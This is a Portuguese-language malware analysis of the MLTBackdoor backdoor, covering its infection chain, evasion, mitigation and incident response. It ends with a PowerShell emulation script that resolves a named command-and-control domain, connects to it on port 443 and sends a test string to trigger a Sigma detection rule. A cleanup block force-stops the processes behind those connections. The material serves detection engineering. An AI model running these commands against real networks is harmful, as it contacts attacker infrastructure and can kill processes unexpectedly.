Análise Técnica do MLTBackdoor

Resumo

Zscaler ThreatLabz identificou uma nova família de malware, MLTBackdoor, em maio de 2026. A ameaça é distribuída por meio de uma cadeia de infecção em múltiplas etapas chamada ClickFix e parece ser usada por operadores de ransomware para estabelecer acesso inicial e apoiar movimentos laterais. O malware depende de forte ofuscação, um algoritmo de geração de domínio e um carregador Beacon Object File (BOF) para expandir suas capacidades após a execução. As comunicações de rede são criptografadas via TLS e são projetadas para se parecer com tráfego legítimo de Otimização de Entrega da Microsoft, ajudando a atividade a se misturar ao comportamento normal da rede.

Investigação

A análise seguiu a cadeia de infecção até um conhost.exe wrapper que baixou um arquivo compactado de um domínio gerado por meio da lógica DGA do malware. Dentro desse arquivo, endpointdlp.dll descriptografava um payload criptografado com RC4 que então era carregado como o binário MLTBackdoor. Os pesquisadores descobriram que o malware usa aritmética booleana mista, achatamento de fluxo de controle, chamadas de sistema indiretas e um protocolo de comunicação criptografado personalizado para dificultar a análise e detecção. O carregador BOF embutido também permite que os operadores executem módulos adicionais no estilo Cobalt Strike na memória.

Mitigação

Os defensores devem bloquear os domínios de comando e controle identificados e monitorar os padrões relacionados de DGA. A detecção deve também focar na string específica do agente do usuário e no tráfego TLS direcionado para /api/v1/telemetry na porta 443. As equipes de segurança devem estar atentas ao uso suspeito de conhost.exe com os argumentos documentados e para a criação de endpointdlp.dll em diretórios temporários. As detecções baseadas em comportamento para hashing de API e o uso de chamadas de sistema indiretas podem melhorar ainda mais a visibilidade da atividade do MLTBackdoor.

Resposta

Se a atividade MLTBackdoor for detectada, isole o endpoint afetado imediatamente, encerre o processo malicioso e remova quaisquer arquivos inseridos no Temp diretório pelo carregador inicial. Os investigadores devem então realizar uma revisão forense para módulos BOF adicionais ou payloads subsequentes. Quaisquer credenciais potencialmente expostas devem ser redefinidas, e a caça às ameaças deve ser expandida para identificar tentativas de movimento lateral usando os mesmos métodos.

Execução de Simulação

Pré-requisito: A Verificação Prévia de Telemetria & Linha de Base deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.

• Narrativa de Ataque & Comandos:

  1. Recon – Resolver domínio DGA – O backdoor gera uma consulta DNS para hrs2y15sungu.com, um domínio produzido por seu DGA interno.
  2. Contato C2 – Abrir um socket TCP – Usando PowerShell, o adversário cria uma conexão TCP bruta para o IP resolvido na porta 443 (HTTPS) para se misturar ao tráfego normal.
  3. Recuperação de Payload (T1105) – Pela mesma conexão, o backdoor puxaria módulos adicionais; para o teste simplesmente enviamos uma string inofensiva.

  Esses passos emitem um registro Sysmon Event ID 3 com DestinationHostname = hrs2y15sungu.com, satisfazendo a seleção condição da regra Sigma.

• Script de Teste de Regressão:

  # TC-20260610-A7B3Z – Simular comunicação C2 do MLTBackdoor
  # -------------------------------------------------------
  # 1. Resolver o domínio malicioso (saída simulada do DGA)
  $malDomain = "hrs2y15sungu.com"
  try {
      $ip = [System.Net.Dns]::GetHostAddresses($malDomain)[0].IPAddressToString
  } catch {
      Write-Error "Falha ao resolver $malDomain – abortando teste."
      exit 1
  }
  
  # 2. Abrir uma conexão TCP para o IP resolvido na porta 443
  $port = 443
  $client = New-Object System.Net.Sockets.TcpClient
  $client.Connect($ip, $port)
  
  # 3. Enviar um payload inofensivo (simulando busca de módulo)
  $stream = $client.GetStream()
  $payload = [System.Text.Encoding]::ASCII.GetBytes("TEST_PAYLOAD")
  $stream.Write($payload, 0, $payload.Length)
  
  # 4. Manter a conexão viva brevemente para garantir geração de log
  Start-Sleep -Seconds 5
  
  # 5. Limpeza
  $stream.Close()
  $client.Close()
  Write-Output "Simulação concluída – conexão para $malDomain ($ip:$port) fechada."

• Comandos de Limpeza:

  # Certifique-se de que não restem sockets remanescentes (caso o script tenha abortado)
  Get-NetTCPConnection -RemotePort 443 |
      Where-Object { $_.RemoteAddress -eq (Resolve-DnsName hrs2y15sungu.com).IPAddress } |
      ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }